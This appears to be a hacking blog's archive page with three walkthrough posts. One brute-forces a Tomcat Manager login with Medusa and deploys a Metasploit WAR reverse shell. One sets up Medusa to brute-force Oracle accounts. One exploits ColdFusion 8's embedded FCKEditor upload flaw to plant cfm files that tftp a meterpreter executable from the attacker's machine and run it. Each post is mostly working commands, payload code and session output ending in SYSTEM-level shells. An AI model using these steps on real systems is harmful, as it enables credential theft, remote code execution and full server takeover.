Archive for category Hacking

Using Medusa and Metasploit against Tomcat

In this post I thought I would do a simple demonstration of how to use Medusa to test for Tomcat accounts and then utilize Medusa’s findings to exploit Tomcat with Metasploit.  I am going to assume you have Medusa and Metasploit installed and you enumerated a Tomcat server by some method like nmap, nessus or you just knew an application uses Tomcat.  For my example, 192.168.1.30 is the Tomcat server and 192.168.1.2 is the attacker.  After you verified you found a Tomcat server, open a browser and visit the Tomcat Manager Application

http://192.168.1.30:8080/manager/html

It should prompt you for a user/pass.  Since we don’t know the user/pass this will be the page we run a dictionary attack against.  Hopefully you have some dictionary files but for this example I am just going to create a very simple one

# cat /tmp/usernames
test
admin
monkey
manager
commanderpoo

# cat /tmp/passwords
test
rockyou
password123
password12345
changeme

Then we tell Medusa to perform something similar to this

# ./medusa -M http -h 192.168.1.30 -U /tmp/usernames -P /tmp/passwords -e ns -n 8080 -m DIR:manager/html
(-M) http module
(-h) host IP or name
(-U) username dictionary file
(-P) password dictionary file
(-e ns) [n] No Password, [s] Password=Username
(-n) port number
(-m) directory path for URL

If Medusa finds an account it should print out a [SUCCESS] next to the account found

ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: monkey (3 of 6, 2 complete) Password: changeme (8 of 8 complete)
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: manager (4 of 6, 3 complete) Password:  (1 of 8 complete)
ACCOUNT FOUND: [http] Host: 192.168.1.30 User: manager Password:  [SUCCESS]
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: root (5 of 6, 4 complete) Password:  (1 of 8 complete)
ACCOUNT CHECK: [http] Host: 192.168.1.30 (1 of 1, 0 complete) User: root (5 of 6, 4 complete) Password: root (2 of 8 complete)

Here Medusa found the account “manager” with no password set.  Now revisit the URL, entering the newly discovered user/pass and you should see something similar to

To take advantage of this new found power we are going to upload and deploy a malicious WAR file into Tomcat.  To create the WAR file use Metasploit’s msfpayload and pick your desired payload

# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4545 W > /tmp/MetRev.war

Once the WAR file payload is created you need to upload it to Tomcat via the Manager Application.  So under the section “WAR file to upload” select your msfpayload.

Start up msfconsole and configure it to handle your payload

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(handler) > set lport 4545
lport => 4545
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started reverse handler

Once Metasploit is ready and waiting for a connection, you need to get Tomcat to run your WAR.  There might be an easier way but I found that if you look in the WAR file and determine the jsp file name you can just call that jsp file in the browser.  So figure out the random jsp file name

# unzip -l /tmp/MetRev.war
Archive:  /tmp/MetRev.war
Length      Date    Time    Name
---------  ---------- -----   ----
71  03-31-2010 23:01   META-INF/MANIFEST.MF
0  03-31-2010 23:01   WEB-INF/
276  03-31-2010 23:01   WEB-INF/web.xml
1157  03-31-2010 23:01   xnjpnric.jsp
75776  03-31-2010 23:01   rQUihgjlKyT.txt
---------                     -------
77280                     5 files

Then in your browser visit the jsp page and MSF should get a connection back.  From there you can do what you want (always fun to migrate over to Explorer.exe’s pid and take a screenshot)

http://192.168.1.30:8080/MetRev/xnjpnric.jsp
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:4545 -> 192.168.1.30:4230)
meterpreter >
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > migrate 618
meterpreter > screenshot
No Comments

Brute forcing Oracle with Medusa

While I think Hydra is a great tool, it always seems to be a little flaky to me and I totally agree with the foofus guys that I doubt Hydra is always doing its job. So about a year ago I was testing some Oracle dbs and needed a “working” bruteforcer and came across Medusa. Since using Medusa I have stopped using Hydra because it seems to handle many more protocols and services than Hydra ever actually supported.
The instructions are on the wiki but I thought I would list them out here too.
Download Medusa from foofus.net . Do the standard

./configure --prefix=/stickit/whereever ; make; make install

If running Gentoo you can install the Pentoo Overlay and emerge Medusa that way.
You will also need the following packages. Here are the ebuilds in Gentoo’s portage.

app-admin/eselect-oracle
dev-db/oracle-instantclient-basic
dev-db/oracle-instantclient-sqlplus

Then to prep Medusa for Oracle support you need to get all your annoying environment variables set and install DBD::Oracle

export ORACLE_HOME=/usr/lib/oracle/10.2.0.3/client
export LD_PATH=/usr/lib/oracle/10.2.0.3/client/lib
export C_INCLUDE_PATH=/usr/lib/oracle/10.2.0.3/client/include/
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib
perl -MCPAN -e shell
install DBD::Oracle

DBD::Oracle installation failed for me so I did the following

cd ~.cpan/build/DBD-Oracle-*
perl Makefile.PL
make install

As of version 1.5 the oracle.pl script needs to be adjusted
…/medusa-1.5/src/modsrc/wrapper/oracle.pl – modify line 50 to be:

my $msg = "", $err = 0;

Then to run Medusa using specific creds, like OUTLN/OUTLN try something like

./medusa -M wrapper -h 192.168.0.1 -u OUTLN -p OUTLN -m TYPE:STDIN -m PROG:/usr/src/compiled/medusa-1.5/lib/medusa/modules/oracle.pl -m ARGS:"%H %U DatabaseSIDnameHere"

To have it read in a list of user and a dictionary try something like

./medusa -M wrapper -h 192.168.0.1 -U /tmp/ora-users.txt -P /tmp/bigdict.txt -t 3 -r 1 -f -F -O /tmp/medusa-oracle-output -v 6 -m TYPE:STDIN -m PROG:/usr/src/compiled/medusa-1.5/lib/medusa/modules/oracle.pl -m ARGS:"%H %U DatabaseSIDnameHere"

I have noticed sometimes you need to throttle Medusa a little so the db can properly respond before you throw another attempt at it.

No Comments

FCK’ing around

A few months ago Sans and a bunch of other media sources were posting about an old vulnerable version of FCKEditor embedded in Coldfusion 8.  The vulnerable version is used in a Coldfusion upload feature which is enabled by default.  A few days ago I installed CF on one of my VMs and thought I would mess around with it.  The basic gist of the hack is to utilize the vulnerability in CF’s embedded FCKEditor by telling it to create a file by sending it a simple POST request.  The POST request creates the file on the ColdFusion server allowing us to create whatever kind of files we want.  One way to take advantage of this flaw is to have the ColdFusion webserver create a cfm file and have that cfm perform any the actions we want by uploading the desired code into the cfm file.  For this example, I will have a POST request create a cfm file whose content is filled with the uploaded text we give it.  The first cfm file created will download a payload and then the second will execute the payload.

The vulnerable page is located at

http://blahblahblah/cfide/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm

In order to take advantage of the vulnerability you have to send it a post request.  So I created a small post form on my attacking box’s web server that will submit the post to the upload.cfm page.

<html><body><center>
<form action="http://192.168.1.101/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/grab-evil.cfm HTTP/1.1"
enctype="multipart/form-data" method="post">
<input type="file" name="NewFile" size="35">
<input type="submit" value="Upload">
</center></body></html>

The upload file we send it will populate the grab-evil.cfm.  So we want to populate it with cfm.  Now we need to figure out what we want the web server to do.  This of course is up to you but in this example I am going to make it download a Metasploit payload.  I want to use a meterpreter reverse tcp payload, so to create the payload we use msfpayload.  Metasploit’s msfpayload is pretty simple, give it the payload name, the payload variables and X for PE executables or whatever you want to write it out as.  For reverse payloads set your lhost to your Metasploit/Attacker IP, 192.168.1.2 in my example.

 # ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4545 X > /tmp/evil.exe
 # file /tmp/evil.exe
/tmp/evil.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Now we need to figure out a way to have the web server grab the exe.  Tftp is a pretty common/simple way of transferring files and it is usually in the Windows Path, so I will have the content we feed into the grab-evil.cfm tftp the file from my machine to the victim.  So setup tftpd or whatever you want for transferring the file.  For Internet based machines ftp’ing the file by echo’ing the ftp commands might work better since FTP is probably more likely allowed.

In the file we upload it we tell it to tftp into our box and place the file in a location you think the web server can write to.  Playing around with the web server can usually cause Coldfusion to generate some errors which might reveal the web server’s installation directory.  Try going to some unknown locations in the hopes of enumerating the document root.  Fortunately when you upload a file using the upload.cfm it creates a “userfiles\file” directory.  If for some reason you can’t get this to work maybe try creating a directory on the server via the cfm or place it in a common place, “c:\windows\temp” or wherever.  I placed the following in the file to upload using my post form.

<cfexecute name="cmd" arguments="/c tftp -i 192.168.1.2 GET /tmp/evil.exe C:\Inetpub\wwwroot\userfiles\file\evil.exe" timeout="30" variable="data"/>
<cfoutput>#data#</cfoutput>

Now we upload the file using our post submission page.  The upload will then populate the grab-evil.cfm.  Upon upload, the webserver will create a userfiles directory.  Browse to that directory

http://192.168.1.101/userfiles/file/

and click the newly created grab-evil.cfm.  When CF executes the grab-evil.cfm it will perform the actions we fed it.  So if all goes right the web server will tftp into our box and grab the evil.exe.  After accessing grab-evil.cfm you should see something like

Transfer successful: 4674 bytes in 1 second, 4674 bytes/s

and evil.exe should now be in the “userfiles/file” dir, so refresh.

All right, so now that we have our exe over on the server we need to create another cfm page but this one needs to execute evil.exe.  So change the postform.html page to create a new page and create the cfm content to upload into the new page.

<html><body><center>
<formaction="http://192.168.1.101/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/run-evil.cfm HTTP/1.1"
enctype="multipart/form-data" method="post">
<input type="file" name="NewFile" size="35">
<input type="submit" value="Upload">
</center></body></html>

This content should execute the exe.

<cfexecute name="cmd" arguments="/c C:\Inetpub\wwwroot\userfiles\file\evil.exe" timeout="30" variable="data"/>
<cfoutput>#data#</cfoutput>

Upload the txt file and refresh the userfiles/file dir and you should see your new cfm page.  Before you run the cfm page you need to get Metasploit ready for the meterpreter connection.

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(handler) > set lport 4545
lport => 4545
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started reverse handler

Now that the handler is waiting you can access the newly created run-evil.cfm and watch your Metasploit accept the connection

[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.1.2:4545 -> 192.168.1.101:4230)
meterpreter >
meterpreter > sysinfo
Computer: CRAPTASTIC2003
OS      : Windows .NET Server (Build 3790, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter >
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Meterpreter has so many awesome functions that you can spend hours playing around with it.  This may not be the best approach and you may be able to string together the cf commands into one single cfm upload and there are multiple ways to get your payload over but whatever works for you.  It’s not a very technical hack but it is pretty fun to play around with.

3 Comments